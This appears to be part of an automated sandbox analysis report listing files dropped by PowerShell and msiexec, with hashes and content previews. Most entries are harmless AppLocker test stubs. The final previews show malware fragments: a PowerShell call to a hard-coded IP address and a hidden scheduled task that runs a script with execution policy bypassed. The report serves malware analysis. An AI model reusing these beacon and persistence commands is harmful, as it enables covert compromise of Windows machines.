C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjsuq0ou.abd.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ky4nlxuy.ucu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kyktgasu.44d.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m2pbfkqd.tr0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m5fuomoy.ypw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nlkd30zv.3im.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o24lxrw1.3od.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o52c3s1t.33n.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_om3zqf12.q4f.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pdvpdmmb.qrq.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qtmynhrd.4k5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rtxwzj2v.e0y.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s00nxmtw.tal.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s0wf5eyl.fjj.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sg23ywzt.4gc.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uhth3f2f.w55.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uog5tbfx.pjl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vwiiqrmg.seu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x2esrudy.q30.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xy1civ4v.bie.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yixgb124.mpr.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yldqcd4y.xqk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymw20qva.qh0.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yrhlmwou.tgs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zipf5qc4.4zs.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\pss1287.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.4745351255831687
Encrypted:	false
SSDEEP:	6:Q6k88fvT8IRZQkAqmklOufaeNsqoQM3WJiscRoHuayl6uDuI:Qzdj8CZQOmGfd+qoQM3oivRoOnl60uI
MD5:	1552A674C1D8AC6BD836C82D2075C592
SHA1:	441DAE4F92C3494F4C664818D23435F63C9366AB
SHA-256:	4B0E855793B7E69CF5F32C24B25837B70D4234110738201E134F6AA687A5696E
SHA-512:	4C47E40BA4A21EE17E3EFF97D46786D7726C87D7799CC6D33EB1FEDDCB945894350C804F7D1FC9CB6FC4D2FF0B58A91BEBAE16E900486B56E1F1613130FEEB46
Malicious:	false
Preview:	..t.r.y. .{..... . . . ..... . . . .$.u.r.l. .=. .".h.t.t.p.:././.1.9.2...1.2.4...2.1.6...1.4./.a.n.a./.i.n.d.e.x...p.h.p."......... . . . ..... . . . .I.n.v.o.k.e.-.W.e.b.R.e.q.u.e.s.t. .-.U.r.i. .$.u.r.l. .-.M.e.t.h.o.d. .G.E.T. .-.E.r.r.o.r.A.c.t.i.o.n. .S.i.l.e.n.t.l.y.C.o.n.t.i.n.u.e.....}. .c.a.t.c.h. .{..... . . . .....}.

C:\Users\user\AppData\Local\Temp\pss1297.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3931772175338692
Encrypted:	false
SSDEEP:	12:QilRKQ10RH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9eRH/vo3F1sQ54N8y3El4Zo
MD5:	0562C1E6A64BAABC88D8EE0883B28A24
SHA1:	ED3D147417D5C4C45E9579E196EAE2B50FDC20FA
SHA-256:	796856EB20B08D34B4C2074AA8E422CC5991338BFAC371173334601F7D931332
SHA-512:	7BB30434C6A94AAA7CE769DA4E1C125467A5FDFB11ADE3C16542DC0DCC7FCF14C35965148A7100360074878ACE54189C9BBF547684AD8F9361FB64BB157E7FCB
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.1.2.8.7...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss142.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (316), with CRLF line terminators
Category:	dropped
Size (bytes):	13212
Entropy (8bit):	3.6473609614535776
Encrypted:	false
SSDEEP:	192:C59oEmSJR7ko1XzuvylVu+OTYodKqIz5os8VjMGuFNumrc:MKSvYorOBlkGjM+N
MD5:	357FCAC0AF5975E96CEB59B55D3DF08C
SHA1:	E6F885394C8048591A92D4C77C653EF75D817308
SHA-256:	6F52B212F338E9A7F05DCF163557F4618F3C1702A863682FEBF1DFFEAE85C202
SHA-512:	3B89B08F21C2C1381AC27BEB9E38141985460CEAD8D25B1F172E04DD6FEED8B08A1FFA081AEA4A0FE7D9897F6479DDFD1FCD4BF17E7AD77625545FDBEA580BA5
Malicious:	false
Preview:	..#. .t.l.....$.a.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".P.o.w.e.r.s.h.e.l.l...e.x.e.". .-.A.r.g.u.m.e.n.t. .".-.W.i.n.d.o.w.S.t.y.l.e. .H.i.d.d.e.n. .-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.F.i.l.e. .C.:.\.t.e.m.p.\.S.h.o.w.U.p.d.a.t.e.S.c.r.e.e.n...p.s.1.".....$.t.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.1.0.).....$.t.a.s.k. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.A.c.t.i.o.n. .$.a.c.t.i.o.n. .-.T.r.i.g.g.e.r. .$.t.r.i.g.g.e.r.............R.e.g.i.s.t.e.r.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .".A.T.D.". .-.I.n.p.u.t.O.b.j.e.c.t. .$.t.a.s.k.............$.t.e.m.p.F.o.l.d.e.r. .=. .".C.:.\.t.e.m.p.".........#. .V.e.r.i.f.i.c.a.r. .e. .c.r.i.a.r. .a. .p.a.s.t.a. .T.E.M.P.,. .s.e. .n.e.c.e.s.s...r.i.o.....i.f. .(.!.(.T.e.s.t.-.P.a.t.h. .-.P.a.t.h. .$.t.e.m.p.F.o.l.d.e.r.).). .{..... . . . .N.e.w.-.I.t.e.m. .-.I.t.e.m.T.y.p.e. .D.i.

C:\Users\user\AppData\Local\Temp\pss143.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1238
Entropy (8bit):	2.386768791355354
Encrypted:	false
SSDEEP:	12:QilRKQ10wH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9ewH/vo3F1sQ54N8y3El4Zo
MD5:	F7FF8184C513D6F553F749432E598305
SHA1:	A749BBFE0FE4857433A6AE5607C561AE0B8D441D
SHA-256:	4A35A56F87FA13A030FBD3915F3F7AC91939D607B0678A29CDF07B6944AB4D3B
SHA-512:	699CD52F96B0709ED0D7C4726E000E7ECC9E8DB8600AD81E9447F1E85FA0004C089FAB38F75F932C51B68E8C267E5430D18D90D3D5F4DCA0A4C1F33D68641E80
Malicious:	true
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.1.4.2...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. 